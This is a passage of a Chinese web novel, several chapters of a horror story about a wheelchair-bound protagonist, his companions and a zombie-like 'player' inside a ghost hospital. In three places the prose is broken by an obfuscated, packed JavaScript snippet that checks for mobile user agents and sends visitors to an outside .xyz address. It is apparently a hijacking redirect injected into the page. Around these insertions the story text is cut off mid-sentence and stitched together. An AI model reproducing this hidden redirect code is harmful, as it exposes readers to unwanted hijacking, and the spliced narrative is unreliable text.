“这医院名声不太好?”白桑若有所思:“你之前说的那些,该不会是骗我的吧?” 周医生:“我说的都是真的!我们医院治病救人的水平在业界都是顶尖的,不知道多少患者拼了命想挂我的号,我都不乐意接。” 常一看了眼白桑,眼前的画面在翻滚的血海和轮椅上病恹恹的男人间来回切换。 他立马捂住了眼睛,浑身直哆嗦。 周医生恍然大悟:“我说他们怎么疯了,原来是你干的。” 白桑指了指自己:“我?” 周医生很理解他的茫然,贴心解释道:“人类跟我们是不一样的,他们很脆弱,不能直面超出认知的场景,不然就有可能彻底疯掉。” “我们通常用理智来代指他们目前的精神状态,‘理智值清零’意味着‘精神崩溃’‘认知崩塌’。理智骤然降低,也会出现不可逆的精神损伤。而对于被异常纠缠的人来说,异化带来了畸变成怪物的威胁,也增强了他们对抗精神冲击的能力。所以他们在面对超出认知的场景时,承受能力相对较高,就算出现了精神损伤,也有治疗的方法。” “呕——” 常一哆嗦了半天后,又开始干呕了。 周医生有点好奇:“不过他们到底看到了什么?后劲这么大?看你一眼就开始降理智了?” 白桑转动着‘核桃’,回顾他们晕倒前他的所作所为,不确定的道:“我把突然冒出来的诡域打了一顿?” 周医生:“这时候就没必要用修辞手法了。你把诡域核心都拆了,还管这叫打了一顿?” 白桑看向手里的‘核桃’,佛首纵然变成了一尊泥胎,仍能看出悲天悯人的慈悲感。 “诡异核心?你说这个?”白桑伸手给他展示核桃大小的佛首。 周医生‘哐哐哐’往后倒退了好几大步,好似白桑递出的不是手,而是什么庞然大物一般。 “拿远点,太吓人了。” 白桑收回手:“这是诡域核心?诡域核心长这样?” 周医生:“诡域核心长啥样的都有,没什么奇怪的。问题是你怎么做到的?” 白桑:“什么怎么做到的?” 周医生八只手一起上阵,比比划划:“就是把诡域核心带出诡域。” 白桑:“在你告诉我之前,我都不知道这玩意是诡域核心。” 周医生:“按理来说,诡域核心要么死得干脆利落,要么就在诡域里活蹦乱跳,怎么会半死不活被带走呢?” 被忽视许久的常一奄奄一息的靠着墙:“打扰一下,你们医院卖轮椅吗?” 周医生其中一个脑袋转向了常一的方向:“卖是卖……不过断条腿这种小伤坐什么轮椅?我给你治好不就完了。” 常一有气无力的道:“我付不起诊费。” 周医生乐了:“说得跟你买得起我们医院的轮椅一样——我不收你诊费。” 常一立马警惕了起来:“我不割器官,什么器官都不割。” 周医生嘀咕了一声:“我倒是想,你看我敢吗?” 周医生轻易将他从地上抱了起来,放到病床上,挥舞着八条胳膊,一只手插进他的腿里,另一只手在他脑袋里搅来搅去。 这个场景白桑之前已经见过一次了,但即使再上演一次,白桑还是很难理解原理——周医生不管治啥都是手往那一插,然后往外一拔,留下毫发无损的病人。 “如果你强烈要求治好这玩意的话,可以做个手术试试,”周医生另外两个脑袋面朝白桑,接着之前的话题道:“就算手术失败,顶多也就是它彻底失控而已,跟不做手术一个结果。” 白桑一开始没反应过来,察觉周医生的视线落在侍女捧着的鱼缸上,才意识到周医生指的是什么。 直面白桑的‘进食过程’导致临时疯狂的不止常一跟周正已,还有严先生的一部分。 只不过常一他们折腾出来的动静比较小,而严先生的分·身则险些彻底失控。 在见到周医生插哪治哪的‘神奇医术’后,白桑觉得鱼缸里的大脑说不定还能救一下,就将第三个‘病人’推荐给了周医生。 在常一醒来前,他跟周医生讨论的就是这事。 可惜周医生围着鱼缸看了半天,楞是没敢上手,只说没法治。 这会对方突然改口,多少显得有点可疑,只是还没等白桑提出质疑,门外走廊上突然响起了广播声。 “四楼三号观察室失控,请所有病人返回病房,不要外出。” 广播重复了三遍,楼上楼下响起了急促的脚步声,几分钟后楼道内彻底安静了下来。 周医生支棱了起来:“三号观察室失控了?那我得去看看。” 见周医生往外走,白桑的轮椅也跟着动了起来。 周医生动作一顿:“我去就行,这点小事不用你出手。” 白桑表示他也没想出手:“我去看热闹。” 周医生四个脑袋上的表情都变得一言难尽了起来,甚至有点想扭头回病房。但脚步才一停,轮椅就毫不犹豫的越过了他,自顾自朝电梯的方向驶去。 周医生忙跟了上来:“其实没什么好看的,都是一些医学上的疑难杂症……” 一旁匆匆赶来的护士跟周医生打了声招呼,汇报最新进展:“周医生好。目前还没确定三号观察室的病人失控的源头。” 一行人进了电梯,周医生按下四楼按钮。 护士继续道:“病人跟其他疑似病例没有发生过接触,来医院的目的是为了治疗外伤。诊费在治疗前就已经付清,没有赖账的必要。两天前,病人突然性情大变,不配合治疗,不愿意跟护士接触,拒绝所有生物进入他的病房,符合我们总结出来的‘未知病症’特征,因此转入三号观察室进行后续观察和治疗。” 这病情越听越可疑,原本只是想凑个热闹的白桑认真了起来:“未知病症?” 周医生:“目前还没确定究竟是传染病还是未知的异常。可以确认的是,它具有感染性,感染途径我们还没摸清。患病初期有潜伏特征,有的病人会出现认知损伤以及记忆缺失,而病人会试图掩盖这一点。” “病情的恶化程度非常迅速。等到患病中期,患者会试图逃离病房,攻击所有他看到的生物,同时出现诸多异常行为,包括自残等。患病中期到后期往往只需要几个小时,一旦进入后期,患者就会迅速死亡。” 电梯‘叮’的一声,停了下来。 电梯门打开,露出门后的走廊和病房,左侧的墙上贴着“四楼”的标识牌。 走廊前方,护士们围在病房门口,远远传来嘶吼和碰撞声。 与此同时,白桑眼前跳出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068859|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了熟悉的透明屏幕。 【请扮演好每轮游戏抽取的人物角色。 角色偏差度高于50%时……】 游戏提示还没完全浮现就被一行乱码所取代。 【警告!%¥*#冲突……*@#*%错误……】 与此同时,一直在嗷嗷叫唤的‘病人’那也传出了几个白桑能听懂的单词。 【密室】【怪物】【玩家】 白桑恍然大悟:难不成这就是‘未知病症’中期,病人试图攻击所有活物的原因? 在小山村,玩家角色偏差度超过50%,NPC顶多认为是山神爷爷发怒了,但在诡医院,玩家角色偏差度超过50%,NPC直接把他们列为了疑难杂症,又是隔离,又是医学实验的。 以白桑遇到的那些玩家们的作风,估计压根没有探寻背后真相的概念,说不定一上来就把这当恐怖游戏、密室逃脱玩了…… 三号观察室,大门歪歪扭扭的斜靠在门上,似乎稍稍用力就会从门框上掉下来。 透过玻璃,能看到室内的场景——只长了一只眼睛的巨眼怪,长舌头的缝合怪,还有挂满了医疗器械的人皮围在病床旁,四个脑袋八个胳膊的周医生也进入了病房……小小一个病房居然楞是凑不出一个活人。 但走廊上的护士却大多人模人样,最多是死法不同导致外形上存在些微区别。 志怪小说里,妖都想变成人,诡医院却相反,低等级的诡物像人,高等级的诡物都长得千奇百怪。 白桑敲了敲病房门,医生们各忙各的,没搭理他,于是他加大了敲门的力度。 “敲什么敲?没看见我们正忙着吗?”只长了个眼睛的医生不耐烦的转身,看见门外的场景后,眼睛急速收缩,从白大褂里钻了出来。 “你瞎跑什么?活还没干完呢……”正嘬着病人脑袋的缝合怪不高兴的嚷嚷了起来。余光扫过门外,也没声了,舌头往回一缩,舌根下缀着的器官霎时掉了一地。 “你们俩干嘛呢?”见这两诡不干正事,挂着白大褂的人皮一把拦住了巨眼怪和缝合怪。 巨眼怪把自己的体型缩小成正常眼睛大小,就等着往外蹿了,被人皮拦住后,火急火燎的道:“出事了。” 没了医生安抚病人,老老实实躺在病床上的病人一脚就把沉浸在手术里的周医生给踹了出去。 周医生还没反应过来,现场局势就已经失控了。 病人铁皮铜骨,走路一蹦一跳,膝盖都不带打弯的,长指甲漆黑尖锐,长得跟僵尸似的,追着医生们哐哐一通砸。 周医生余光瞥见翻滚的血海在走廊上延伸,急忙跑去给白桑开门。 门一开,现场秩序立马稳定了——医生全跑角落里缩着去了,只有僵尸还在嗷嗷叫唤,看见什么砸什么,一路砸到白桑面前,被侍女一只手提拉了起来,捧在了手上。 病房彻底安静了下来,周医生两个脑袋朝着白桑的方向笑得异常谄媚,其余两个脑袋则朝着角落的医生们。 “这就是我之前说的那个……”周医生背对着白桑,用手在脖子上使劲划拉:“病人家属,白先生。” 巨眼贴在人皮上,缝合怪正偷摸把满地器官塞自己舌头根下,人皮哆嗦个不停,谁也没吱声。 周医生面朝着白桑的那两个脑袋则解释道:“他们胆子小,没见过大场面……” 哪怕白桑再没自觉,也从这些诡的反应里察觉出了自己的非人程度相当惊人这一点——是个诡看了都害怕! 既然如此,白桑也不找理由了,理直气壮的提出了要求:“你们都出去。” 医生们毫不犹豫的冲出房间。周医生最后一个离开病房,贴心的从外面把摇摇欲坠的病房门给关上了。 白桑将病床旁的帘子一拉,隔出独立空间,确保门外的诡物看不见他们在做什么后,才让侍女将僵尸放了下来。 僵尸在侍女手上时,安静得如同没有生气的死物,一被侍女放下后,立马切换成了暴走模式,一蹦一跳的就要砸人。 白桑用一句话终结了他的暴走:“偏差度多少了?” 在短暂的愣神后,僵尸的鬼哭狼嚎声变得无比响亮了起来。 【难度】【大佬】【通关】【带带】 19.诡医院(3) 血海在大地上翻滚,将天空染成一片血红。寺庙残骸被血水冲刷,发出尖锐的声响,让人心神摇曳,无法思考。 翻滚的血水席卷着、吞噬着一切,浪头落下时,血水中长出了无数双眼睛,每一双都直勾勾的盯着他,冲着他大喊——“快逃!” 周正已一个激灵,从病床上坐了起来。 常一立马发现了这个动静,欣喜不已:“道长,你醒了?” 白色的墙壁映入眼眶,恍惚间却好似仍是一片血色。病房里弥漫着消毒水的气息,涌入鼻腔时只有浓郁的血腥气。 周正已当即从袖子里掏出桃木剑和一叠符纸,嘴上念叨着“急急如律令”,手上挥起了剑。 看着病床在雷电中化作灰烬,再看对方一手桃木剑一手符纸的造型,常一瞬间连滚带爬,跑到了离周正已最远的角落。 一簇簇天雷凭空闪现,为狭小的病房开拓空间——这些雷劈开了墙壁和天花板,连通了附近的病房,吓得其他病房里的病人和护士鬼哭狼嚎。 “谁把道士放进来了?” “又医闹?说多少遍了,咱们医院讲究自愿原则,上手术台之前签了合同的,不带事后后悔回来拆医院的。” “那好像是周医生的诊室?” “周医生来了。” 看着病房里跟五雷轰顶似的,轰隆隆响个不停,周医生四个脑袋齐刷刷转向白桑,就差嗷一声哭出来了。 白桑久违的感到了几分心虚——虽说周医生不是人,但人家要什么给什么,连诊费都不收的态度还是很端正的,结果平白无故被拆了家…… 白桑叮嘱了僵尸一句:“你在这等着。” 然后轮椅前行,就进入了雷光闪烁的病房。 见白桑进去了,医生们立马凑到周医生旁,火速开始八卦。 “这就是三号观察室的病人?怎么把人给带出来了?” “三号观察室的病人不是进入中期了吗?怎么不攻击其他诡?特殊病例?” 周医生推开凑过来的医生,朝雷光闪烁的病房瞥了眼:“反正白先生从病房里出来后,三号观察室的病人就变成这样了。” 有医生忍不住伸手戳了下僵尸。僵尸‘嗷’的一声,反手就是一爪。 “这毒够厉害的。”受害者若无其事的剜掉黑色蔓延的那块肉,啧啧称奇:“看来不是没攻击性,只是没有暴走。” 另一个医生小声道:“他刚才挺乖巧的。” “废话,那家伙在呢,换成是你,保证比他还乖。” “那不一样,患病中期的病人理论上来说应该已经失去理智了才对,怎么可能因为怕死就乖乖听话?” “有道理,”另一个医生插入对话:“两种可能,一,我们之前的诊疗结果有误,二,那家伙对他做了什么,让他找回了理智,又或者降低了他的病情严重程度——我建议解剖一下病人,确认究竟是哪种情况。” 周医生转过来了一个脑袋:“好主意,作为奖励,你来主刀。” 医生大喜:“真的吗?那太好了,来个诡帮我把病人……等会,白先生同意我们上手解剖病人吗?” 周医生微笑:“谁知道呢,要不你去问问?。” 对方的眼神突然清澈:“我想起来我有个手术没做,你们忙,我先走了。” 病房正中,周正已挥舞着桃木剑,对着空气横跳劈砍。 侍女上前,才一靠近,桃木剑就劈了过来,扎进侍女体内,涌出泊泊鲜血。 血液从侍女体内流出,好似拧开了水龙头,眨眼间,血水汹涌而至,席卷整个病房,包括挥舞着桃木剑的周正已。 下一秒,血水倒流回侍女体内,侍女再次出现,毫发无损,手里还捧着轻飘飘的周正已。 雷光散去。透过墙上的洞口,可以看见对面病房的惨状,抬头往上看,还能跟楼上的病人打个照面。 一个声音幽幽的飘了过来:“谁来拉我一把,我掉坑里了……” 那个坑但凡再大点,常一都能直接掉进下一层,结果坑不大不小,刚好卡住了常一,让他动弹不得,只能呼救。 白桑发现,这两人的战斗力简直是两个极端,一个失去理智时能拆家,一个被洞口卡住了都没法自己爬出来。 * 把常一从洞里拔出来后,一行人转移到了新的病房。 周医生先检查了下常一的腿,给出诊断:“没事,就是腿又摔断了而已。” 常一:“什么叫‘又’摔断了?” 周医生啧啧称奇:“你进医院的时候腿就是断的,我给你治好了,没想到转眼又断了……” 常一嘴角抽了抽,转移话题:“道长怎么样了?” 周医生:“陷入临时疯狂状态而已,问题不大。但凡他没那么能打,都折腾不出这么大的动静。” 常一之前也出现过同样的症状,但他的反应是缩到角落里抖个不停,跟周正已形成了鲜明对比。 周医生:“他这次醒来之后,应该就能正常沟通了……要不,我先把你的腿治了?” 常一疯狂摇头:“不用,给我找个轮椅就行。” 周医生也没强求,转向白桑道:“既然他能抗过去,那我就不治了。不然我怕到时候病治好了,人也畸变了。” 白桑开始捋‘病治好了’跟‘人畸变了’之间的必要关联。 常一解释道:“诡医院是诡域,不是真正的医院,加深异化程度和加快身体畸变是治疗的‘副作用’之一。” 白桑恍然:“所以你只要了轮椅,没要求治疗?” 常一十分认真的道:“不,我就是纯粹不想再断第三次腿了。” 周医生为他们医院正名:“虽然需要付出代价,但诡医院收取的代价跟其他诡域相比,绝对称得上物美价廉。只要病人够克制,一般都能活着离开医院。” 在这个诡域和异常横行的世道,像诡医院这样可以通过不科学的手段来治疗‘冒险后遗症’的诡域对人类来说,是必不可少的存在。 白桑突然意识到了什么,看向自己身后四处张望的僵尸:“这个意思是,他原本是人类?” 周医生眼神飘忽了一瞬:“诡医院又不是做慈善的,他入院的时候,半个身体都没了……能活下来就不错了。”至于因为接受治疗导致的‘副作用’,那是活下来必须要付出的代价。 * “吼吼”“噼里啪啦” 高亢的吼声跟东西破碎的动静混在一起,但凡不是个死人都能被吵得从床上跳起来。 但周遭的热闹动静对周正已来说,就像是隔着一层毛玻璃,有存在感但不多。 对话声飘入了他耳中。 一个熟悉的声音问道:“有把握吗?” 另一个陌生的声音回答道:“三四成吧,还是看在你能让它半死不活的情况下多加了两成,不然的话,就只有一成把握。” “成功率太低了,有没有成功率更高的手术方案。” 陌生声音听起来有点心虚又莫名理直气壮:“我觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白桑侧头,听见僵尸正嚷嚷着【再来一遍】。 周医生转过两个脑袋看向周正已的方向,给出肯定的回答:“他已经恢复理智了。” 剩下那两个脑袋还在跟白桑沟通:“手术时间定在什么时候?你要是没意见的话,现在就能做手术!” 周正已盯着那片血水看的时间稍微久了点,脑仁立马一跳一跳的,幻觉幻听接踵而来。 他挪开视线,关注另一个重点:“常一,你这么快就交到朋友了?” 常一动了动手指,操纵着轮椅绕开挡在他面前的僵尸——僵尸似乎将这当成了游戏开始的号角,嗷嗷叫着就冲了过来,常一当机立断将轮椅的速度拉到了最高,再度开始了‘病房飙车’的惊险活动。 风中传来了他断断续续的声音:“没有——这是诡医院的病人——白桑走到哪,他就跟到哪——你别追了……” 可见常一这个‘飙车活动’多少有点迫不得已在里面,当然,要说常一完全没在这个过程中体会到乐趣,那多少有点口是心非。 周正已转向另外两个能沟通的生物:“你们在说给谁做手术?” 周医生:“白先生带来的第三位病人,即将彻底异化的活□□官。” 周正已:“不用找医生,直接让它异化,然后解决掉畸变物就行。我们之前都是这么做的。” 白桑有不同意见:“周医生说能治。” 周医生同样跃跃欲试:“我觉得它说不定还有救。” “我们之前试过,”话说到一半,周正已突然问了个八竿子打不着的问题:“这次就诊的诊费……” 周医生假笑:“什么诊费?就我们跟白先生这关系,能跟他收钱吗?” 但凡白桑对诡医院来说不够强,周医生都不会是这个态度。 于是周正已欣然道:“既然不要钱,那我支持给它做手术。” 20.诡医院(4) “咱们医院所有重大手术都是在五楼手术室进行的。” 路过二楼的电梯时,周医生特地解释了一句:“电梯去不了五楼,我们走楼梯。” 坐着轮椅的常一跟在周正已身后,时不时警惕的看一眼对病房和医生们探头探脑的僵尸,生怕对方冲过来跟他‘飙车’。 然而僵尸就跟撒手没的狗子一样,压根不在乎其他人的视线,嗖的一下冲上了楼梯。 三楼瞬间鸡飞狗跳,护士和病人四处逃窜,僵尸在病房里进进出出。 周医生两个脑袋盯着进进出出的僵尸,剩下两个脑袋对着白桑,好奇中充斥着几分不解:“他在找什么?” 找其他玩家咯。 白桑没吭声,宛如定海神针一般,稳稳当当的停在走廊中,镇住了对僵尸蠢蠢欲动的医生们。 见白桑连接茬的兴趣都没有,周医接着道:“他是一个人来就诊的,没有其他同伴。同时,第一例未知病症出现是一个礼拜前的事了,感染这一症状的病人几乎已经死光了……”所以,不管对方在病房里上蹿下跳,到底是想找什么,都不可能找到他想要的东西。 白桑不认同他的想法。 诡医院里都是千奇百怪的‘生物’,玩家的诡异举止在这里泯然众人。只要玩家别太莽,上来就对医护人员表现出敌意,说不定能有幸运儿躲过诡医院是内部自查呢。 僵尸眼下大摇大摆、鬼吼鬼叫的在三楼病房里进进出出,就是在大声招呼没暴露的玩家一起行动。 白桑其实没想把诡医院的玩家一网打尽。 毕竟他对玩家们的了解有限,万一遇到个心眼子多而且能跟NPC顺利沟通的玩家,不好套话不说,还容易漏了自己的底。 但架不住僵尸太有‘同胞爱’,硬要招呼其他玩家一起来抱大腿…… 想到这,白桑突然意识到了周医生话里的问题:“第一例案例是一周前出现的,但僵尸是在两天前出现性情大变的症状的?” 周医生不觉得这有什么问题:“他可能是在医院内部接触了未知病毒源后被感染的……” 如果都是一个礼拜前开始的游戏,说明这批玩家的游戏开始时间是一致的。但如果僵尸是在两天前开始的游戏,那说明同一批次的玩家游戏开始时间是随机的——这么一来的话,同一个场景里可能会出现上一批玩家已经待了三天,又来了一批新玩家的情况。 如果真是这样,那这游戏的难度还得更上一层楼——老玩家已经把局势搅和得一团乱了,新玩家一来就缺乏大量信息,还得直面乱成一团的局势,就算有几百个心眼子都很难蒙混过关。 大呼小叫了一路的僵尸两手空空的回来了,不出所料,他并没有找到其他玩家。 确认没有漏网之鱼后,白桑一马当先的进了楼梯间。 周医生率先跟上他的脚步,殷勤道:“找完了?没找到?要帮忙吗?” 白桑斜了他一眼:“那你得问他。” 周医生看向僵尸,僵尸在楼梯上一蹦一跳,透着股莫名奇妙的欢快。 察觉到周医生的视线,僵尸警惕的扭头看他,朝他竖起尖锐漆黑的长指甲,一副下一秒就能挠他一脸开花的表情。 周医生收回视线:“它对我好像有点意见。” 不过很快,僵尸的注意力就被旁的东西吸引了,他一边绕着轮椅打转,一边对着周正已做威胁状。 周医生释然了:“好吧,它对所有活物都表现得不太友好。” 只有常一这种食物链最底端的生物才不会得到他亮指甲的威胁——毕竟他都是直接追着常一跑的。 一行人走过静悄悄的四楼,抵达了五楼。只见厚重的大门严严实实的堵着楼梯口,门上挂着一把老式的大铜锁。 周医生从兜里掏出钥匙开门。 常一有些好奇:“这个锁有用吗?”诡医院的病人武力值远超普通人,别说挂把锁了,就是真有一扇大铁门也拦不住他们霍霍。 周医生:“这不是普通的锁。未经允许,碰一下就得被吸成干尸。” 白桑好奇的投去视线,周医生立马把锁给揣兜里了,不给白桑一丝一毫拆家的机会。 大门被打开了。 昏暗的走廊灯光下,发黄的墙壁上刻着一些歪歪扭扭的痕迹,病房前放着褪色的连排座椅,一个个模糊的人影端坐在椅子上。每间手术室的牌子上都亮着猩红的光,显示着‘正在手术中’。 漂浮的灰尘、此起彼伏的哭声、急促的脚步声、接连不断的滚轮声在空荡荡的昏暗走廊上回荡,恍若此时此刻正有另一群看不见的人在忙碌。 周正已表面上看起来似乎没什么异常,实则背地里的每一根神经都已经绷紧了,才能用平平无奇的语气给白桑科普:“根据我们得到的情报,诡医院的五楼,高度疑似诡域核心。” 众目睽睽下,面对如此诡异的场景,白桑喉结微动,咽了口口水。 原本紧绷的气氛突然变得古怪了起来,紧接着,大铁门轰然合拢,险些拍白桑一脸灰。 “我能解释,你听我说,我真的没想吃……不是,那个词怎么说来着?”在众人投来的惊恐乃至古怪的视线中,白桑诚恳的解释道,“反正我真的没想做什么。” 僵尸本来正对着门后的场景探头探脑,结果门突然关上了,正一头雾水呢,听见白桑的话,恍然大悟,嚷嚷起了只有他们能听懂的话。 【boss】【通关】【冲啊】 僵尸大无畏的冲了上去,撞到大铁门上,发出‘哐当’一声巨响。 周医生、常一、周正已纷纷扭头看白桑,眼神里明晃晃的透着一行字:还说你没想做什么? 白桑叹了口气:“看我干嘛?这是他的个人行为,请勿上升到无辜人士身上。” 周医生把兜里的钥匙揣得更深了,生怕白桑冲上来抢。 白桑:“我真没想……实在不行,我不进去总行了吧。” 周医生越看越觉得白桑居心叵测:“你不进去,鱼缸怎么拿进去?” 白桑指了指身后的侍女:“让她们把鱼缸拿进去。” 周医生:“那跟你进去有什么区别?” 血色瞳孔的食欲愈发汹涌,连带着白桑也失去了耐心。 他的态度变化直观的体现在侍女们身上。 只见侍女齐刷刷往前走了一步,恍若巨浪涌到身前,下一秒就会铺天盖地的落下,席卷一切,碾碎一切。 只见周医生瞬间变脸:“没错!您刚才那只是本能反应,绝对不是想对我们医院做什么。对了,忘了问,您食谱上都有些什么?” 这本来是个挺简单的问题,但放在这个场景中,实在很难不让人多想——尤其是白桑居然还沉默了下去——更让人浮想联翩了。 白桑沉默的原因很简单,他拿不准自己眼下究竟还能不能吃正常的食物。尤其是在他意识到自己进游戏后,一顿饭都没吃过但从未感到过饥饿之后。 严格来说,他不是没感到过饥饿,而是他所感受到的饥饿大多来自于血色瞳孔,并非他自身产生的进食冲动。 白桑没吭声,气氛越发古怪。 周医生硬着头皮道:“我之前就想问了,什么情况下,诡域核心能被带着到处跑……现在想想,不会是还没消化完的情况下吧?” 白桑转‘核桃’的动作一顿,周医生瞬间紧贴大铁门,生怕白桑用手里那玩意砸他似的。 见周医生主动提出了这一点,周正已也抛出了他早就想问的问题:“我也很好奇,为什么不管什么东西,一到他手上,就没动静了。” 白桑回想了下血池和青铜门,若有所思:“可能跟Z-003的特性有关?” 周医生就跟踩了尾巴的耗子一样,嗷的一声嚎了出来:“Z-003?!你是从Z-003里出来的?靠!你们办事处到底对Z-003做了什么?” 周正已没想到周医生嚎到最后居然把锅扣到了办事处身上,他没好气的道:“那是Z-003。我们要是能对它做什么,还用得着到诡医院来治病?” 周医生立马被说服了:“所以,他真是从Z-003出来的?” 周正已:“千真万确,我亲眼看着他从Z-003走出来的。” 就在这两人思绪万千时,大铁门从里面被打开了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15082105|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >戴着防护面具、穿着一整套隔离服,浑身裹得严严实实,一点个人特征都没暴露在外的‘人’走了出来,看了眼不断挠门的僵尸,目光落到了周医生身上:“我在手术室里等半天了,病人怎么还没过来?” 周医生瞬间老实:“老师,病人家属有点不好搞……” 老师的声音又冷又硬,透着股不好打交道的气息:“别浪费我的时间,赶紧带病人进手术室。” ‘老师’开口后,周医生没了拦着白桑死活不让进的模样,带着众人进了空旷又热闹的五楼走廊。 走廊尽头,唯一一扇没亮着‘手术中’的手术室门口。 老师进了手术室,周医生示意白桑带着鱼缸跟他一起进去,瞥了眼其他人:“病人家属在外等着,不要乱动。如发生意外,我们概不负责。” 转向白桑时,他的语气就热情多了:“这里有份手术须知同意书,你签一下。对了,我们只治病,治疗后出现其他问题不归我们管。还有,手术过程中有一定的死亡概率,病人死了,诊费一概不退……” 白桑没跟他磨叽这些无关紧要的东西,干脆利落的在同意书上签了名,跟着周医生进了手术室。 手术室里灯光明亮,大片血色泼洒在地上、墙上,猩红一片。墙边堆满了泡着各种器官的瓶瓶罐罐,手术台上空无一物,滴答滴答的往下流着血。 看到这个场景,白桑总算有了几分自己是在鬼医院的真实感。 全副武装的老师站在主刀位,拿着手术刀。 侍女将‘鱼缸’放到手术台上,在它松手的那一瞬间,肉块骤然膨胀,鱼缸上的缝隙飞快增多。就在这时,手术刀唰的一下,穿过鱼缸,钉在膨胀的肉块上,再往下一划,轻轻松松从肉块上割下了一坨蠕动的扭曲躯干。 在这个过程中,鱼缸好似不存在一般,任由手术刀穿过它对着肉块进行切割。 “活性反应激烈,异化速度快速上升,”老师一边切割肉块中长出来的不明躯干,一边飞快道:“接下来尝试抑制诡力波动。” 周医生伸手按着鱼缸,第三只手在瓶瓶罐罐堆里挑了个罐子递给主刀医生,剩下五条胳膊都在忙着翻手术室里那些瓶瓶罐罐。 手术刀一伸,穿过周医生递来的罐子,将罐子里的球状物挑了出来,塞进肉块。 肉块激烈收缩,片刻后,发出砰的一声,像是吃了大力丸似的,蹦跶了起来,周医生险些没按住鱼缸。 见状,医生挑出肉块里的球状物,将它重新丢回罐子里:“诡力波动激烈,尝试退化活性……” 周医生迅速递来另一个罐子,手术刀一划,再度从罐子里勾出一个扁平的器官,塞进肉块。 医生不断重复着这个过程,通过往肉块里塞各种不明器官来‘治疗’肉块的异化反应。 直到膨胀到极限的肉块彻底突破鱼缸,这场忙碌的‘手术’才被迫停止。 鱼缸破碎的瞬间,肉块彻底失去了束缚,从一团肉球变成了一只巨大的眼睛。它大约有人脸大小,眼球中长着一个个小触手,视线带着蓬勃恶意,像是能穿透思维和灵魂。 老师收回手术刀,平淡的宣布了手术结果:“手术失败,病人彻底异化。” 那只眼睛一睁开就径直看向了白桑,猩红的血色沿着视线延伸,裹挟恶意穿透灵魂。 白桑平静的跟它对视,饥饿的血色瞳孔顺着他的视线朝外看了一眼。 目光相接,巨大眼睛中蠕动的触手突兀的没了动静,在那一瞬间所有触手就此死去。 周医生盯着白桑,只见血海翻滚,那只已然有了雏形的眼睛被一丝丝消融,直至彻底消失为止。 他看着看着突然打了个冷颤,小声问老师:“他怎么连这玩意都吃?真的一点都不挑食?” 老师收拾着病房里的瓶瓶罐罐,眼睛都没抬一下:“怕什么,反正大家最后都会死,早死晚死都一样。” 随着巨大眼睛的消失,白桑突然感知到了位于远方的某个存在,血色瞳孔在对方身上打了个标记,让它在白桑的感知中高亮。 完成进食后,汹涌的饥饿感消停了,血色瞳孔心满意足的合上了眼睑。 21.诡医院(5) 在白桑进入手术室后,一股不祥的预感突然笼罩了常一。他摩挲着冷硬的龟甲,犹豫着要不要给自己占一卦。 看常一的表情不对,周正已:“怎么了?” “我感觉不太好,”常一环顾四周,试图找到这股不详预感的来源,目光一顿,脱口而出:“靠。” 周正已顺着他的视线看去,就见僵尸嗷嗷叫着踹开了一间手术室。 手术室的大门一被踹开,原本平静诡谲的走廊骤然变了个模样——大片血色泼洒在走廊和墙壁上,穿着手术服的病人出现在手术室门口,眼睛一眨的功夫就闪现到了他们面前。 常一:“我说我怎么感觉不太好呢!”合着是忘记现场还有个极端不稳定因素了。 白桑在的时候,这家伙就爱东碰碰西摸摸,对什么都感兴趣。白桑一走,它果然立马就惹事了。 周正已拎起轮椅急速后退,与此同时,一道天雷轰到干瘪的病人身上,病人凝实的身影虚化了几分,但紧接着就再度贴到他们面前,一股腐烂的臭味扑面而来。 常一身体后仰,试图跟对方拉开距离。 好消息是他坐着轮椅,享受跟病人脸贴脸待遇的是周正已。 但即使如此,常一也感觉自己快窒息了:“雷有用!快劈死他!” 数道雷光闪现,紧贴着他们的干瘪尸体被硬生生劈散。 常一松了口气,抬眼一看,表情又凝固了。 走廊两侧的手术室不知道什么时候全打开了,一个个干瘪的病人站在手术室门口,目不转睛的盯着他们看。 在常一发现他们的下一秒,所有病人瞬间闪现到了他们面前。 走廊不断延伸,五楼的出口消失了。 透过敞开的手术室大门,可以看到手术室里有医生在清理手术台,白大褂背对着走廊,闪闪发亮的手术刀摆在手边,等待着下一个病人。 雷光亮起,落在成群涌来的病人身上,压根无法阻拦他们前进的脚步。 常一语速飞快的汇报他惊鸿一瞥中看到的画面:“手术室里有医生在为下一场手术做准备,我怀疑咱们之后还得直面这些医生。” 前方第二个病人终于被雷给劈散了,但同时也显露出病人后方乌泱泱的病号服大群。 就在昏暗灯光照过来的瞬间,周正已突然伸手遮住了常一的眼睛:“别看,这些诡物的攻击模式是只要被看见,就会闪现在你面前。” 周正已闭上眼,耳边回荡着忙碌的脚步声、咳嗽声、滚轮声,不由拼凑出了护士推着担架急匆匆赶往手术室的画面。 下一秒,腥臭味骤然靠近。 周正已睁开眼,只见穿着病号服的干瘪尸体手上挂着吊瓶。吊瓶里涌动着鲜红的血液,滴答滴答的注入病人体内。 护士像充气过多的气球,飘在半空中,一手提着吊瓶,一手拿着针筒,注意到周正已的视线时,露出了一个安抚的笑容。 这个笑容被不断拉伸的大脸扭曲成了诡异的笑:“别怕,打完针病就好了。” 